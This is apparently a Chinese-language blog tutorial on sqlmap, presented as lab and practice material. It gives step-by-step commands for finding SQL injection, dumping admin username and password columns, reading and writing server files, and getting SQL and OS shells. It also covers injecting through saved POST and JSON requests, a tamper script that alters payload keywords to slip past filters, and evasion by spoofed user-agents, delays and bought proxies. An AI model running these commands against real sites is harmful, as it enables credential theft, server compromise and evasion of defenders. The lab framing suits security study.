banner

注入工具&SQLMAP&Tamper编写&指纹修改&高权限操作&目录架构

Scroll down

数据猜解-库表列数据&字典

例子:电子科技大学 Access数据库(dbs,dba和current-db命令并不适用于access,因为结构不同)

  1. 先检查是否存在SQL注入点

    1
    python sqlmap.py -u "http://192.168.126.133:89/News.asp?classid=1"
  2. 枚举数据库中的所有表

    1
    python sqlmap.py -u "http://192.168.126.133:89/News.asp?classid=1" --tables
  3. 枚举指定表admin的所有列

    1
    python sqlmap.py -u "http://192.168.126.133:89/News.asp?classid=1" --columns -T "admin"
  4. 从admin表中导出username和password列的数据(需要等待它完全跑完admin所有列才执行)

    1
    python sqlmap.py -u "http://192.168.126.133:89/News.asp?classid=1" --dump -C  "username,password" -T "admin"


例子:news.php高权限 Mysql数据库

  1. 先检查是否存在SQL注入点

    1
    python sqlmap.py -u "http://1.1.1.1/sqli/new.php?id=1"
  2. 查看是不是数据管理员(不准确)

    1
    python sqlmap.py -u "http://1.1.1.1/sqli/new.php?id=1" --is-dba 
  3. 查看当前用户(进一步确认是不是root)

    1
    python sqlmap.py -u "http://1.1.1.1/sqli/new.php?id=1" --current-user
  4. 查看当前用户权限(进一步用户权限)

    1
    python sqlmap.py -u "http://1.1.1.1/sqli/new.php?id=1" --privileges
  5. 获取当前数据库,对于mysql,需要获取当前数据库(因为比access高了一等级,所以需要多一步)

    1
    python sqlmap.py -u "http://1.1.1.1/sqli/new.php?id=1" --current-db
  6. 枚举指定数据库demo01下的所有表

    1
    python sqlmap.py -u "http://1.1.1.1/sqli/new.php?id=1" --tables -D "demo01"
  7. 枚举指定数据库acuart,表users下的所有列

    1
    python sqlmap.py -u "http://1.1.1.1/sqli/new.php?id=1" --columns -T "admin" -D "demo01"
  8. 从users表中导出name和pass列的数据

    1
    python sqlmap.py -u "http://1.1.1.1/sqli/new.php?id=1" --dump -C "username,password" -T "admin" -D "demo01"

其他操作

执行shell命令

1
2
3
python sqlmap.py -u "http://1.1.1.1/sqli/new.php?id=1" --sql-shell

select * from admin

使用高权限的来执行系统交互命令

1
python sqlmap.py -u "http://1.1.1.1/sqli/new.php?id=1" --os-shell


例子:Vulnweb低权限 Mysql数据库

  1. 先检查是否存在SQL注入点

    1
    python sqlmap.py -u "http://testphp.vulnweb.com/artists.php?artist=1"
  2. 查看是不是数据管理员

    1
    python sqlmap.py -u "http://testphp.vulnweb.com/artists.php?artist=1" --is-dba 
  3. 查看当前用户(进一步确认是不是root)

    1
    python sqlmap.py -u "http://testphp.vulnweb.com/artists.php?artist=1" --current-user
  4. 查看当前用户权限(进一步用户权限)

    1
    python sqlmap.py -u "http://testphp.vulnweb.com/artists.php?artist=1" --privileges
  5. 获取所有的数据库

    1
    python sqlmap.py -u "http://testphp.vulnweb.com/artists.php?artist=1" --dbs
  6. 获取当前数据库,对于mysql,需要获取当前数据库(因为比access高了一等级,所以需要多一步)

    1
    python sqlmap.py -u "http://testphp.vulnweb.com/artists.php?artist=1" --current-db
  7. 枚举指定数据库acuart下的所有表

    1
    python sqlmap.py -u "http://testphp.vulnweb.com/artists.php?artist=1" --tables -D "acuart"
  8. 枚举指定数据库acuart,表users下的所有列

    1
    python sqlmap.py -u "http://testphp.vulnweb.com/artists.php?artist=1" --columns -T "users" -D "acuart"
  9. 从users表中导出name和pass列的数据

    1
    python sqlmap.py -u "http://testphp.vulnweb.com/artists.php?artist=1" --dump -C "name,pass" -T "users" -D "acuart"

其他操作

导出所有的数据

1
python sqlmap.py -u "http://testphp.vulnweb.com/artists.php?artist=1" --dump -all

Vulnweb测试

权限操作-文件&命令&交互式

–is-dba –privileges #查看权限

查看是不是数据管理员(不准确,有时候是的,有时候不是)

1
python sqlmap.py -u "http://1.1.1.1/sqli/new.php?id=1" --is-dba 

查看当前用户权限(进一步用户权限)

1
python sqlmap.py -u "http://1.1.1.1/sqli/new.php?id=1" --privileges


–file-read –file-write –file-dest #保存读取写入文件

读取d盘的1.txt,sqlmap会将文件保存自己的到file文件下

1
python sqlmap.py -u "http://1.1.1.1/sqli/new.php?id=1" --file-read "d:\\1.txt"

读取d盘的1.txt,写入到c盘1.txt

1
python sqlmap.py -u "http://1.1.1.1/sqli/new.php?id=1" --file-write "d:\\1.txt" --file-dest "c:\\1.txt"


–os-cmd= –os-shell –sql-shell #交互式Shell

执行shell命令

1
2
3
python sqlmap.py -u "http://1.1.1.1/sqli/new.php?id=1" --sql-shell

select * from admin

使用高权限的来执行系统交互命令

1
python sqlmap.py -u "http://1.1.1.1/sqli/new.php?id=1" --os-shell

提交方法-POST&HEAD&JSON

例子:Vulnweb低权限 Mysql数据库

  1. 先检查是否存在SQL注入点

    1
    python sqlmap.py -u "http://testphp.vulnweb.com/userinfo.php" --data "uname=test&pass=test"
  2. 查看是不是数据管理员

    1
    python sqlmap.py -u "http://testphp.vulnweb.com/userinfo.php" --data "uname=test&pass=test" --is-dba
  3. 查看当前用户(进一步确认是不是root)

    1
    python sqlmap.py -u "http://testphp.vulnweb.com/userinfo.php" --data "uname=test&pass=test" --current-user
  4. 查看当前用户权限(进一步用户权限)

    1
    python sqlmap.py -u "http://testphp.vulnweb.com/userinfo.php" --data "uname=test&pass=test" --privileges
  5. 获取所有的数据库

    1
    python sqlmap.py -u "http://testphp.vulnweb.com/userinfo.php" --data "uname=test&pass=test" --dbs
  6. 获取当前数据库,对于mysql,需要获取当前数据库(因为比access高了一等级,所以需要多一步)

    1
    python sqlmap.py -u "http://testphp.vulnweb.com/userinfo.php" --data "uname=test&pass=test" --current-db
  7. 枚举指定数据库acuart下的所有表

    1
    python sqlmap.py -u "http://testphp.vulnweb.com/userinfo.php" --data "uname=test&pass=test" --tables -D "acuart"
  8. 枚举指定数据库acuart,表users下的所有列

    1
    python sqlmap.py -u "http://testphp.vulnweb.com/userinfo.php" --data "uname=test&pass=test" --columns -T "users" -D "acuart"
  9. 从users表中导出name和pass列的数据

    1
    python sqlmap.py -u "http://testphp.vulnweb.com/userinfo.php" --data "uname=test&pass=test" --dump -C "name,pass" -T "users" -D "acuart"

跟之前注入流程差不多,不过前面需要附带--data "uname=test&pass=test",让sqlmap知道你是post

Vulnweb测试



–data “” #POST提交

sqlmap采用自己的请求头去请求,如果是json格式的话注入不了

例子:能够识别,只有一对默认的双引号

1
python sqlmap.py -u "http://testphp.vulnweb.com/userinfo.php" --data "uname=test&pass=test"

sqlmap注入的格式是正确的,注入写法为:

1
python sqlmap.py -u "http://testphp.vulnweb.com/userinfo.php" --data "uname=test&pass=test and 1=1 "

注入不了,json格式,里面双引号太多,识别不了

1
python sqlmap.py -u "http://1.1.1.1/sqli/json_check.php" --data "{"username":"admin","password":"admin"}"

这样识别的引号问题,格式就错了(解决办法使用-r来写入整个request header和参数)注入写法为:

1
python sqlmap.py -u "http://1.1.1.1/sqli/json_check.php" --data "{"username":"admin","password":"admin"} and 1=1"


-r 1.txt 和 –cookie “” #替换request header

如果有的网站有注入点但是只能手机访问,就需要替换request header

如果不是抓包得到的请求的注入点数据包去注入的话,sqlmap就采用自己的访问头去访问注入(可能会访问不到,访问不到就注入不了了),还有的就是会屏蔽sqlmap 的访问头,禁止访问

-r 的话就是sqlmap采用自己写在文件里面的请求头去请求

例子:普通URL格式 Post

创建head.txt,写入,保存到根目录即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /userinfo.php HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cache-Control: max-age=0
Connection: keep-alive
Content-Length: 20
Content-Type: application/x-www-form-urlencoded
Cookie: login=test%2Ftest
Host: testphp.vulnweb.com
Origin: http://testphp.vulnweb.com
Referer: http://testphp.vulnweb.com/login.php
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36

uname=test*&pass=test*

运行head.txt带入原来的request header去访问,因为数据包里,请求的有网站地址所以这里就不需要写了

1
python sqlmap.py -r head.txt


例子:JSON格式 POST

创建test.txt,写入,保存到根目录即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /sqli/json_check.php HTTP/1.1
Accept: /
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: keep-alive
Content-Length: 39
Content-Type: application/json
Host: 1.1.1.1
Origin: http://1.1.1.1
Referer: http://1.1.1.1/sqli/json.php
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36

{
"username": "admin*",
"password": "admin*"
}

运行之前需要删除cookie

1
python sqlmap.py -r head1.txt

将请求头写入文件,在注入点标注*让sqlmap知道在哪注入,使用-r模式,比-data模式好用

后期想要添加字典在默认的common-tables里面添加

绕过模块-Tamper脚本-使用&开发

–tamper=base64encode.py #加载base64encode解码模块

例子:base64注入,有过滤的注入
需要先告诉sqlmap先进行base64编码

1
python sqlmap.py -u "http://1.1.1.1/sqli/base64.php?id=MQ==" --tamper=base64encode.py

–tamper=test.py #自写绕过策略

写一个test.py的脚本放到sqlmap\tamper里面

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOW

def dependencies():
pass

def tamper(payload, **kwargs):
if payload:
payload = payload.replace('SELECT','sElEct')
payload = payload.replace('OR','Or')
payload = payload.replace('AND','And')
payload = payload.replace('SLEEP','SleeP')
payload = payload.replace('ELT','Elt')
return payload

运行即可,让sqlmap使用自己写的test.py文件规则去绕过

1
python sqlmap.py -u "http://1.1.1.1/sqli/new.php?id=1" --tamper=test.py

黑盒测试绕过才是最难

分析拓展-代理&调试&指纹&风险&等级

-v=(0-6) #详细的等级(0-6)

0:只显示Python的回溯,错误和关键消息。
1:显示信息和警告消息。
2:显示调试消息。
3:有效载荷注入。
4:显示HTTP请求。
5:显示HTTP响应头。
6:显示HTTP响应页面的内容

使用不同的详细登等级来查看sqlmap详细的注入过程

1
python sqlmap.py -u "http://1.1.1.1/sqli/new.php?id=1" -v 4


–proxy “http://xx:xx“ #代理注入

配合burp进行测试,可以围观到sqlmap是如何进行注入的,然后进行分析

1
python sqlmap.py -u "http://1.1.1.1/sqli/new.php?id=1" --level=3 -risk=2 -proxy "http://127.0.0.1:8080/"

还可以网上买个代理,把本地代理换成购买的代理进行测试,例如:快代理


打乱默认指纹:

–user-agent “” #自定义user-agent

使用user-agent,防止检测到sqlmap的ua头拦截

1
python sqlmap.py -u "http://1.1.1.1/sqli/new.php?id=1" -v 4 --user-agent "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"


–random-agent #随机user-agent

使用random-agent,防止拦截sqlmap的请求

1
python sqlmap.py -u "http://1.1.1.1/sqli/new.php?id=1" -v 4 --random-agent


–time-sec=(2,5) #延迟响应,默认为5
如果访问过快就换拦截,time-sec来延时

1
python sqlmap.py -u "http://1.1.1.1/sqli/new.php?id=1" -v 4 --time-sec 5

测试Header注入

–level=(1-5) #要执行的测试水平等级,默认为1

–risk=(0-3) #测试执行的风险等级,默认为1

能帮你跑到隐藏的一些ua头注入等等

1
python sqlmap.py -u "http://1.1.1.1/sqli/new.php?id=1" --level=3 -risk=2

参考:https://www.cnblogs.com/bmjoker/p/9326258.html

sqlmap需要结合你的思路,你想的绕过逻辑,然后写入sqlmap,进行绕过


如果VMware虚拟机没网,检查win+R 运行 “services.msc”查看是否开启了VMware DHCP Service和VMware NAT service这两个服务,如果未开启,请启动
其他文章
请输入关键词进行搜索